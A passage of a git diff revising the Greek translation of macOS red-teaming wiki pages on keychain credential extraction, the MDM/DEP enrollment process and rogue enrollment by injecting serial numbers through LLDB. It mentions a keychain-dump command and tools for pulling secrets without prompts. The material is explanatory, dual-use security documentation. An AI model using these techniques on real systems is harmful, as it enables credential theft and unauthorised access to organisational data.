τον κωδικό πρόσβασης **`Computer$`** μέσα από το System keychain. ### Over-Pass-The-Hash @@ -209,7 +209,7 @@ macos-keychain.md ## Εξωτερικές Υπηρεσίες -Η Red Teaming στο MacOS διαφέρει από τη συνηθισμένη Red Teaming στα Windows, καθώς συνήθως **το MacOS είναι ενσωματωμένο με πολλές εξωτερικές πλατφόρμες απευθείας**. Μια κοινή ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συνδεδεμένα διαπιστευτήρια OneLogin και πρόσβαση σε πολλές εξωτερικές υπηρεσίες** (όπως το github, aws...) μέσω του OneLogin. +Η Red Teaming στο MacOS διαφέρει από τη συνηθισμένη Red Teaming στα Windows, καθώς συνήθως **το MacOS είναι ενσωματωμένο με πολλές εξωτερικές πλατφόρμες απευθείας**. Μια κοινή ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συνδεδεμένα διαπιστευτήρια OneLogin και πρόσβαση σε πολλές εξωτερικές υπηρεσίες** (όπως github, aws...) μέσω του OneLogin. ## Διάφορες τεχνικές Red Team diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index 8221fc458..bb61f3560 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -4,21 +4,21 @@ ## Main Keychains -- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), το οποίο χρησιμοποιείται για την αποθήκευση **credentials συγκεκριμένων χρηστών** όπως κωδικοί πρόσβασης εφαρμογών, κωδικοί πρόσβασης στο διαδίκτυο, πιστοποιητικά που δημιουργούνται από τον χρήστη, κωδικοί πρόσβασης δικτύου και δημόσια/ιδιωτικά κλειδιά που δημιουργούνται από τον χρήστη. -- The **System Keychain** (`/Library/Keychains/System.keychain`), το οποίο αποθηκεύει **credentials σε επίπεδο συστήματος** όπως κωδικοί πρόσβασης WiFi, πιστοποιητικά ρίζας συστήματος, ιδιωτικά κλειδιά συστήματος και κωδικοί πρόσβασης εφαρμογών συστήματος. +- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), το οποίο χρησιμοποιείται για την αποθήκευση **διαπιστευτηρίων συγκεκριμένων χρηστών** όπως κωδικοί πρόσβασης εφαρμογών, κωδικοί πρόσβασης στο διαδίκτυο, πιστοποιητικά που δημιουργούνται από τον χρήστη, κωδικοί πρόσβασης δικτύου και δημόσια/ιδιωτικά κλειδιά που δημιουργούνται από τον χρήστη. +- The **System Keychain** (`/Library/Keychains/System.keychain`), το οποίο αποθηκεύει **διαπιστευτήρια σε επίπεδο συστήματος** όπως κωδικοί πρόσβασης WiFi, πιστοποιητικά ρίζας συστήματος, ιδιωτικά κλειδιά συστήματος και κωδικοί πρόσβασης εφαρμογών συστήματος. - Είναι δυνατόν να βρείτε άλλα στοιχεία όπως πιστοποιητικά στο `/System/Library/Keychains/*` - Στο **iOS** υπάρχει μόνο ένα **Keychain** που βρίσκεται στο `/private/var/Keychains/`. Αυτός ο φάκελος περιέχει επίσης βάσεις δεδομένων για το `TrustStore`, αρχές πιστοποίησης (`caissuercache`) και καταχωρήσεις OSCP (`ocspache`). - Οι εφαρμογές θα περιορίζονται στο keychain μόνο στην ιδιωτική τους περιοχή με βάση τον αναγνωριστικό της εφαρμογής τους. ### Password Keychain Access -Αυτά τα αρχεία, αν και δεν έχουν εγγενή προστασία και μπορούν να **κατεβούν**, είναι κρυπτογραφημένα και απαιτούν τον **καθαρό κωδικό πρόσβασης του χρήστη για να αποκρυπτογραφηθούν**. Ένα εργαλείο όπως το [**Chainbreaker**](https://github.com/n0fate/chainbreaker) θα μπορούσε να χρησιμοποιηθεί για την αποκρυπτογράφηση. +Αυτά τα αρχεία, αν και δεν έχουν εγγενή προστασία και μπορούν να **κατεβούν**, είναι κρυπτογραφημένα και απαιτούν τον **απλό κωδικό πρόσβασης του χρήστη για να αποκρυπτογραφηθούν**. Ένα εργαλείο όπως το [**Chainbreaker**](https://github.com/n0fate/chainbreaker) θα μπορούσε να χρησιμοποιηθεί για την αποκρυπτογράφηση. ## Keychain Entries Protections ### ACLs -Κάθε καταχώρηση στο keychain διέπεται από **Access Control Lists (ACLs)** που καθορίζουν ποιος μπορεί να εκτελεί διάφορες ενέργειες στην καταχώρηση του keychain, συμπεριλαμβανομένων: +Κάθε καταχώρηση στο keychain διέπεται από **Λίστες Ελέγχου Πρόσβασης (ACLs)** που καθορίζουν ποιος μπορεί να εκτελεί διάφορες ενέργειες στην καταχώρηση του keychain, συμπεριλαμβανομένων: - **ACLAuhtorizationExportClear**: Επιτρέπει στον κάτοχο να αποκτήσει το καθαρό κείμενο του μυστικού. - **ACLAuhtorizationExportWrapped**: Επιτρέπει στον κάτοχο να αποκτήσει το καθαρό κείμενο κρυπτογραφημένο με έναν άλλο παρεχόμενο κωδικό πρόσβασης. @@ -78,20 +78,20 @@ security dump-keychain ~/Library/Keychains/login.keychain-db > [!TIP] > Η **καταμέτρηση και εξαγωγή** μυστικών από το **keychain** που **δεν θα δημιουργήσει προτροπή** μπορεί να γίνει με το εργαλείο [**LockSmith**](https://github.com/its-a-feature/LockSmith) > -> Άλλες τελικές API μπορούν να βρεθούν στον κώδικα πηγής [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html). +> Άλλες τελικές σημεία API μπορούν να βρεθούν στον πηγαίο κώδικα [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html). -Λίστα και λήψη **πληροφοριών** για κάθε καταχώρηση keychain χρησιμοποιώντας το **Security Framework** ή μπορείτε επίσης να ελέγξετε το εργαλείο cli ανοιχτού κώδικα της Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Μερικά παραδείγματα API: +Λίστα και λήψη **πληροφοριών** για κάθε είσοδο του keychain χρησιμοποιώντας το **Security Framework** ή μπορείτε επίσης να ελέγξετε το εργαλείο cli ανοιχτού κώδικα της Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Ορισμένα παραδείγματα API: -- Η API **`SecItemCopyMatching`** δίνει πληροφορίες για κάθε καταχώρηση και υπάρχουν μερικά χαρακτηριστικά που μπορείτε να ορίσετε κατά τη χρήση της: +- Το API **`SecItemCopyMatching`** δίνει πληροφορίες για κάθε είσοδο και υπάρχουν ορισμένα χαρακτηριστικά που μπορείτε να ορίσετε κατά τη χρήση του: - **`kSecReturnData`**: Αν είναι αληθές, θα προσπαθήσει να αποκρυπτογραφήσει τα δεδομένα (ορίστε σε ψευδές για να αποφύγετε πιθανές αναδυόμενες ειδοποιήσεις) -- **`kSecReturnRef`**: Λάβετε επίσης αναφορά στο στοιχείο keychain (ορίστε σε αληθές σε περίπτωση που αργότερα δείτε ότι μπορείτε να αποκρυπτογραφήσετε χωρίς αναδυόμενη ειδοποίηση) -- **`kSecReturnAttributes`**: Λάβετε μεταδεδομένα σχετικά με τις καταχωρήσεις +- **`kSecReturnRef`**: Λάβετε επίσης αναφορά στο στοιχείο του keychain (ορίστε σε αληθές σε περίπτωση που αργότερα δείτε ότι μπορείτε να αποκρυπτογραφήσετε χωρίς αναδυόμενη ειδοποίηση) +- **`kSecReturnAttributes`**: Λάβετε μεταδεδομένα σχετικά με τις εισόδους - **`kSecMatchLimit`**: Πόσα αποτελέσματα να επιστραφούν -- **`kSecClass`**: Τι είδους καταχώρηση keychain +- **`kSecClass`**: Τι είδους είσοδος keychain -Λάβετε **ACLs** κάθε καταχώρησης: +Λάβετε **ACLs** κάθε εισόδου: -- Με την API **`SecAccessCopyACLList`** μπορείτε να λάβετε το **ACL για το στοιχείο keychain**, και θα επιστρέψει μια λίστα ACLs (όπως `ACLAuhtorizationExportClear` και οι άλλες που αναφέρθηκαν προηγουμένως) όπου κάθε λίστα έχει: +- Με το API **`SecAccessCopyACLList`** μπορείτε να λάβετε το **ACL για το στοιχείο του keychain**, και θα επιστρέψει μια λίστα ACLs (όπως `ACLAuhtorizationExportClear` και οι άλλες που αναφέρθηκαν προηγουμένως) όπου κάθε λίστα έχει: - Περιγραφή - **Λίστα Εμπιστευμένων Εφαρμογών**. Αυτό θα μπορούσε να είναι: - Μια εφαρμογή: /Applications/Slack.app @@ -100,8 +100,8 @@ security dump-keychain ~/Library/Keychains/login.keychain-db Εξαγωγή των δεδομένων: -- Η API **`SecKeychainItemCopyContent`** αποκτά το απλό κείμενο -- Η API **`SecItemExport`** εξάγει τα κλειδιά και τα πιστοποιητικά αλλά μπορεί να χρειαστεί να ορίσετε κωδικούς πρόσβασης για να εξάγετε το περιεχόμενο κρυπτογραφημένο +- Το API **`SecKeychainItemCopyContent`** αποκτά το απλό κείμενο +- Το API **`SecItemExport`** εξάγει τα κλειδιά και τα πιστοποιητικά αλλά μπορεί να χρειαστεί να ορίσετε κωδικούς πρόσβασης για να εξάγετε το περιεχόμενο κρυπτογραφημένο Και αυτές είναι οι **απαιτήσεις** για να μπορείτε να **εξάγετε ένα μυστικό χωρίς προτροπή**: @@ -121,9 +121,9 @@ security dump-keychain ~/Library/Keychains/login.keychain-db ### Δύο επιπλέον χαρακτηριστικά -- **Αόρατο**: Είναι μια λογική σημαία για να **κρύψει** την καταχώρηση από την εφαρμογή **UI** Keychain +- **Αόρατο**: Είναι μια λογική σημαία για να **κρύψει** την είσοδο από την εφαρμογή **UI** Keychain - **Γενικό**: Είναι για την αποθήκευση **μεταδεδομένων** (οπότε ΔΕΝ είναι ΚΡΥΠΤΟΓΡΑΦΗΜΕΝΟ) -- Η Microsoft αποθήκευε σε απλό κείμενο όλους τους ανανεωτικούς κωδικούς πρόσβασης για πρόσβαση σε ευαίσθητες τελικές σημεία. +- Η Microsoft αποθήκευε σε απλό κείμενο όλους τους ανανεωτικούς κωδικούς πρόσβασης για πρόσβαση σε ευαίσθητα σημεία. ## Αναφορές diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index a08c6a8c1..fb151a282 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -11,7 +11,7 @@ ### **Επισκόπηση MDM (Διαχείριση Κινητών Συσκευών)** -[Διαχείριση Κινητών Συσκευών](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για την εποπτεία διαφόρων συσκευών τελικού χρήστη όπως smartphones, laptops και tablets. Ιδιαίτερα για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό διακομιστή MDM, ο οποίος είναι είτε εμπορικά διαθέσιμος είτε ανοιχτού κώδικα, και πρέπει να υποστηρίζει το [Πρωτόκολλο MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Σημαντικά σημεία περιλαμβάνουν: +[Διαχείριση Κινητών Συσκευών](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για την εποπτεία διαφόρων συσκευών τελικού χρήστη όπως smartphones, laptops και tablets. Ιδιαίτερα για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό διακομιστή MDM, ο οποίος είναι είτε εμπορικά διαθέσιμος είτε ανοιχτού κώδικα, και πρέπει να υποστηρίζει το [Πρωτόκολλο MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Κύρια σημεία περιλαμβάνουν: - Κεντρικός έλεγχος των συσκευών. - Εξάρτηση από έναν διακομιστή MDM που συμμορφώνεται με το πρωτόκολλο MDM. @@ -25,9 +25,9 @@ - Κυρίως ωφέλιμο για καινούργιες συσκευές, αλλά εφαρμόσιμο και για συσκευές που επαναρυθμίζονται. - Διευκολύνει μια απλή ρύθμιση, κάνοντάς τις συσκευές έτοιμες για οργανωτική χρήση γρήγορα. -### **Σκέψη Ασφαλείας** +### **Σκέψεις Ασφαλείας** -Είναι κρίσιμο να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, αν και ωφέλιμη, μπορεί επίσης να θέσει σε κίνδυνο την ασφάλεια. Εάν τα προστατευτικά μέτρα δεν επιβληθούν επαρκώς για την εγγραφή MDM, οι επιτιθέμενοι μπορεί να εκμεταλλευτούν αυτή τη διαδικασία για να εγγραφούν στη συσκευή τους στον διακομιστή MDM της οργάνωσης, προσποιούμενοι ότι είναι εταιρική συσκευή. +Είναι κρίσιμο να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, ενώ είναι ωφέλιμη, μπορεί επίσης να θέσει σε κίνδυνο την ασφάλεια. Εάν τα προστατευτικά μέτρα δεν επιβληθούν επαρκώς για την εγγραφή MDM, οι επιτιθέμενοι μπορεί να εκμεταλλευτούν αυτή τη διαδικασία για να εγγραφούν στη συσκευή τους στον διακομιστή MDM της οργάνωσης, προσποιούμενοι ότι είναι εταιρική συσκευή. > [!CAUTION] > **Ειδοποίηση Ασφαλείας**: Η απλοποιημένη εγγραφή DEP θα μπορούσε ενδεχομένως να επιτρέψει την μη εξουσιοδοτημένη εγγραφή συσκευών στον διακομιστή MDM της οργάνωσης εάν δεν υπάρχουν κατάλληλες προστασίες. @@ -42,7 +42,7 @@ - Ο επίσημος τρόπος της Apple για **ρύθμιση/επιβολή συστήματος ρυθμίσεων.** - Μορφή αρχείου που μπορεί να περιέχει πολλαπλά payloads. - Βασισμένο σε λίστες ιδιοτήτων (του XML τύπου). -- “μπορεί να υπογραφεί και να κρυπτογραφηθεί για να επιβεβαιώσει την προέλευση τους, να διασφαλίσει την ακεραιότητά τους και να προστατεύσει το περιεχόμενό τους.” Βασικά — Σελίδα 70, Οδηγός Ασφαλείας iOS, Ιανουάριος 2018. +- “μπορεί να υπογραφεί και να κρυπτογραφηθεί για να επιβεβαιώσει την προέλευσή τους, να διασφαλίσει την ακεραιότητά τους και να προστατεύσει το περιεχόμενό τους.” Βασικά — Σελίδα 70, Οδηγός Ασφαλείας iOS, Ιανουάριος 2018. ## Πρωτόκολλα @@ -71,11 +71,11 @@ - Ένα DEP “profile” περιέχει: - URL διακομιστή προμηθευτή MDM - Πρόσθετα αξιόπιστα πιστοποιητικά για το URL του διακομιστή (προαιρετική pinning) -- Επιπλέον ρυθμίσεις (π.χ. ποιες οθόνες να παραλειφθούν στον Βοηθό Ρύθμισης) +- Πρόσθετες ρυθμίσεις (π.χ. ποιες οθόνες να παραλειφθούν στον Βοηθό Ρύθμισης) ## Αριθμός Σειράς -Οι συσκευές Apple που κατασκευάστηκαν μετά το 2010 γενικά έχουν **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**. +Οι συσκευές Apple που κατασκευάστηκαν μετά το 2010 έχουν γενικά **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**. {{#ref}} macos-serial-number.md @@ -85,7 +85,7 @@ macos-serial-number.md 1. Δημιουργία εγγραφής συσκευής (Μεταπωλητής, Apple): Δημιουργείται η εγγραφή για τη νέα συσκευή 2. Ανάθεση εγγραφής συσκευής (Πελάτης): Η συσκευή ανατίθεται σε έναν διακομιστή MDM -3. Συγχρονισμός εγγραφής συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τις εγγραφές συσκευών και σπρώχνει τα προφίλ DEP στην Apple +3. Συγχρονισμός εγγραφής συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τις εγγραφές συσκευών και στέλνει τα προφίλ DEP στην Apple 4. Έλεγχος DEP (Συσκευή): Η συσκευή αποκτά το προφίλ DEP της 5. Ανάκτηση προφίλ (Συσκευή) 6. Εγκατάσταση προφίλ (Συσκευή) α. συμπεριλαμβανομένων των payloads MDM, SCEP και root CA @@ -95,22 +95,22 @@ macos-serial-number.md Το αρχείο `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` εξάγει λειτουργίες που μπορούν να θεωρηθούν **υψηλού επιπέδου "βήματα"** της διαδικασίας εγγραφής. -### Βήμα 4: Έλεγχος DEP - Λήψη του Ενεργοποιητικού Αρχείου +### Βήμα 4: Έλεγχος DEP - Λήψη του Ενεργοποιητικού Εγγράφου -Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας **χρήστης εκκινεί ένα Mac για πρώτη φορά** (ή μετά από μια πλήρη διαγραφή) +Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας **χρήστης εκκινεί ένα Mac για πρώτη φορά** (ή μετά από πλήρη διαγραφή) ![](<../../../images/image (1044).png>) ή όταν εκτελείται `sudo profiles show -type enrollment` -- Καθορίστε **αν η συσκευή είναι ενεργοποιημένη για DEP** -- Το Ενεργοποιητικό Αρχείο είναι το εσωτερικό όνομα για το **DEP “profile”** +- Προσδιορίστε **αν η συσκευή είναι ενεργοποιημένη για DEP** +- Το Ενεργοποιητικό Έγγραφο είναι το εσωτερικό όνομα για το **DEP “profile”** - Ξεκινά μόλις η συσκευή συνδεθεί στο Διαδίκτυο - Οδηγείται από **`CPFetchActivationRecord`** -- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτόν τον δαίμονα** για να ανακτήσει το ενεργοποιητικό αρχείο. +- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτή τη διεργασία** για να ανακτήσει το ενεργοποιητικό έγγραφο. - LaunchDaemon (τρέχει πάντα ως root) -Ακολουθεί μερικά βήματα για να αποκτήσει το Ενεργοποιητικό Αρχείο που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe** +Ακολουθεί μερικά βήματα για να αποκτήσει το Ενεργοποιητικό Έγγραφο που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe** 1. Ανάκτηση **πιστοποιητικού** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) @@ -119,7 +119,7 @@ macos-serial-number.md 3. Ανάκτηση **κλειδιού συνεδρίας** 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 4. Δημιουργία της συνεδρίας (**`NACKeyEstablishment`**) -5. Κάντε το αίτημα +5. Υποβολή αιτήματος 1. POST στο [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) στέλνοντας τα δεδομένα `{ "action": "RequestProfileConfiguration", "sn": "" }` 2. Το JSON payload κρυπτογραφείται χρησιμοποιώντας Absinthe (**`NACSign`**) 3. Όλα τα αιτήματα μέσω HTTPs, χρησιμοποιούνται ενσωματωμένα root πιστοποιητικά @@ -144,7 +144,7 @@ macos-serial-number.md - Υπογεγραμμένο χρησιμοποιώντας το **πιστοποιητικό ταυτότητας συσκευής (από APNS)** - Η **αλυσίδα πιστοποιητικών** περιλαμβάνει ληγμένο **Apple iPhone Device CA** -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) ### Βήμα 6: Εγκατάσταση Προφίλ @@ -164,12 +164,12 @@ macos-serial-number.md - `com.apple.mdm`: για **εγγραφή** της συσκευής στο MDM - `com.apple.security.scep`: για την ασφαλή παροχή ενός **πιστοποιητικού πελάτη** στη συσκευή. -- `com.apple.security.pem`: για **εγκατάσταση αξιόπιστων CA πιστοποιητικών** στο Keychain του συστήματος της συσκευής. +- `com.apple.security.pem`: για **εγκατάσταση αξιόπιστων CA πιστοποιητικών** στο Keychain του Συστήματος της συσκευής. - Η εγκατάσταση του payload MDM ισοδυναμεί με **έλεγχο MDM στην τεκμηρίωση** - Το payload **περιέχει βασικές ιδιότητες**: - - URL Ελέγχου MDM (**`CheckInURL`**) -- URL Πολυάριθμων Εντολών MDM (**`ServerURL`**) + θέμα APNs για την ενεργοποίησή του -- Για να εγκατασταθεί το payload MDM, το αίτημα αποστέλλεται στο **`CheckInURL`** +- URL Ελέγχου Εντολών MDM (**`ServerURL`**) + θέμα APNs για την ενεργοποίησή του +- Για να εγκαταστήσετε το payload MDM, το αίτημα αποστέλλεται στο **`CheckInURL`** - Υλοποιείται στο **`mdmclient`** - Το payload MDM μπορεί να εξαρτάται από άλλα payloads - Επιτρέπει **αιτήματα να είναι pinned σε συγκεκριμένα πιστοποιητικά**: @@ -193,7 +193,7 @@ macos-serial-number.md ### Εγγραφή Συσκευών σε Άλλες Οργανώσεις -Όπως έχει σχολιαστεί προηγουμένως, προκειμένου να προσπαθήσετε να εγγράψετε μια συσκευή σε μια οργάνωση **χρειάζεται μόνο ένας Αριθμός Σειράς που ανήκει σε αυτή την Οργάνωση**. Μόλις η συσκευή εγγραφεί, πολλές οργανώσεις θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικούς πρόσβασης WiFi, ρυθμίσεις VPN [και ούτω καθεξής](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Όπως έχει σχολιαστεί προηγουμένως, για να προσπαθήσετε να εγγραφείτε μια συσκευή σε μια οργάνωση **χρειάζεται μόνο ένας Αριθμός Σειράς που ανήκει σε αυτή την Οργάνωση**. Μόλις η συσκευή εγγραφεί, πολλές οργανώσεις θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικούς πρόσβασης WiFi, ρυθμίσεις VPN [και ούτω καθεξής](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Επομένως, αυτό θα μπορούσε να είναι ένα επικίνδυνο σημείο εισόδου για τους επιτιθέμενους εάν η διαδικασία εγγραφής δεν προστατεύεται σωστά: {{#ref}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index f156adf4c..11d761a52 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -4,7 +4,7 @@ ## Εισαγωγή -Όπως [**αναφέρθηκε προηγουμένως**](./#what-is-mdm-mobile-device-management)**,** για να προσπαθήσετε να εγγράψετε μια συσκευή σε μια οργάνωση **χρειάζεται μόνο ένας Αριθμός Σειράς που ανήκει σε αυτή την Οργάνωση**. Μόλις η συσκευή εγγραφεί, πολλές οργανώσεις θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικούς πρόσβασης WiFi, ρυθμίσεις VPN [και ούτω καθεξής](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Όπως [**σχολιάστηκε προηγουμένως**](./#what-is-mdm-mobile-device-management)**,** για να προσπαθήσετε να εγγράψετε μια συσκευή σε μια οργάνωση **χρειάζεται μόνο ένας Αριθμός Σειράς που ανήκει σε αυτή την Οργάνωση**. Μόλις η συσκευή εγγραφεί, πολλές οργανώσεις θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικούς WiFi, ρυθμίσεις VPN [και ούτω καθεξής](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Επομένως, αυτό θα μπορούσε να είναι ένα επικίνδυνο σημείο εισόδου για επιτιθέμενους αν η διαδικασία εγγραφής δεν προστατεύεται σωστά. **Ακολουθεί μια περίληψη της έρευνας [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Ελέγξτε το για περαιτέρω τεχνικές λεπτομέρειες!** @@ -19,9 +19,9 @@ Οι εγγραφές DEP χρησιμοποιούν τις συναρτήσεις `CPFetchActivationRecord` και `CPGetActivationRecord` από το ιδιωτικό πλαίσιο Προφίλ Ρύθμισης για να ανακτήσουν το Activation Record, με το `CPFetchActivationRecord` να συντονίζεται με το `cloudconfigurationd` μέσω XPC. -## Ανάλυση Αντίστροφης Μηχανικής Πρωτοκόλλου Tesla και Σχεδίου Absinthe +## Ανάλυση Αντίστροφης Μηχανικής Πρωτοκόλλου Tesla και Σχήματος Absinthe -Η εγγραφή DEP περιλαμβάνει το `cloudconfigurationd` να στέλνει ένα κρυπτογραφημένο, υπογεγραμμένο JSON payload στο _iprofiles.apple.com/macProfile_. Το payload περιλαμβάνει τον αριθμό σειράς της συσκευής και την ενέργεια "RequestProfileConfiguration". Το σχήμα κρυπτογράφησης που χρησιμοποιείται αναφέρεται εσωτερικά ως "Absinthe". Η αποκωδικοποίηση αυτού του σχήματος είναι περίπλοκη και περιλαμβάνει πολλές διαδικασίες, γεγονός που οδήγησε στην εξερεύνηση εναλλακτικών μεθόδων για την εισαγωγή αυθαίρετων αριθμών σειράς στην αίτηση Activation Record. +Η εγγραφή DEP περιλαμβάνει το `cloudconfigurationd` να στέλνει ένα κρυπτογραφημένο, υπογεγραμμένο JSON payload στο _iprofiles.apple.com/macProfile_. Το payload περιλαμβάνει τον αριθμό σειράς της συσκευής και την ενέργεια "RequestProfileConfiguration". Το σχήμα κρυπτογράφησης που χρησιμοποιείται αναφέρεται εσωτερικά ως "Absinthe". Η αποκωδικοποίηση αυτού του σχήματος είναι περίπλοκη και περιλαμβάνει πολλές διαδικασίες, γεγονός που οδήγησε στην εξερεύνηση εναλλακτικών μεθόδων για την εισαγωγή αυθαίρετων αριθμών σειράς στο αίτημα Activation Record. ## Διαμεσολάβηση Αιτημάτων DEP @@ -29,14 +29,14 @@ ## Εργαλειοποίηση Δυαδικών Συστήματος που Αλληλεπιδρούν με το DEP -Η εργαλειοποίηση δυαδικών συστημάτων όπως το `cloudconfigurationd` απαιτεί την απενεργοποίηση της Προστασίας Ακεραιότητας Συστήματος (SIP) στο macOS. Με την SIP απενεργοποιημένη, εργαλεία όπως το LLDB μπορούν να χρησιμοποιηθούν για να συνδεθούν σε διαδικασίες συστήματος και ενδεχομένως να τροποποιήσουν τον αριθμό σειράς που χρησιμοποιείται στις αλληλεπιδράσεις API DEP. Αυτή η μέθοδος είναι προτιμότερη καθώς αποφεύγει τις πολυπλοκότητες των δικαιωμάτων και της υπογραφής κώδικα. +Η εργαλειοποίηση δυαδικών συστήματος όπως το `cloudconfigurationd` απαιτεί την απενεργοποίηση της Προστασίας Ακεραιότητας Συστήματος (SIP) στο macOS. Με την SIP απενεργοποιημένη, εργαλεία όπως το LLDB μπορούν να χρησιμοποιηθούν για να συνδεθούν σε διαδικασίες συστήματος και ενδεχομένως να τροποποιήσουν τον αριθμό σειράς που χρησιμοποιείται στις αλληλεπιδράσεις API DEP. Αυτή η μέθοδος είναι προτιμότερη καθώς αποφεύγει τις πολυπλοκότητες των δικαιωμάτων και της υπογραφής κώδικα. **Εκμετάλλευση Δυαδικής Εργαλειοποίησης:** Η τροποποίηση του payload αίτησης DEP πριν από την σειριοποίηση JSON στο `cloudconfigurationd` αποδείχθηκε αποτελεσματική. Η διαδικασία περιλάμβανε: 1. Σύνδεση του LLDB στο `cloudconfigurationd`. 2. Εντοπισμός του σημείου όπου ανακτάται ο αριθμός σειράς του συστήματος. -3. Εισαγωγή ενός αυθαίρετου αριθμού σειράς στη μνήμη πριν από την κρυπτογράφηση και την αποστολή του payload. +3. Εισαγωγή ενός αυθαίρετου αριθμού σειράς στη μνήμη πριν από την κρυπτογράφηση και αποστολή του payload. Αυτή η μέθοδος επέτρεψε την ανάκτηση πλήρων προφίλ DEP για αυθαίρετους αριθμούς σειράς, αποδεικνύοντας μια πιθανή ευπάθεια. diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md 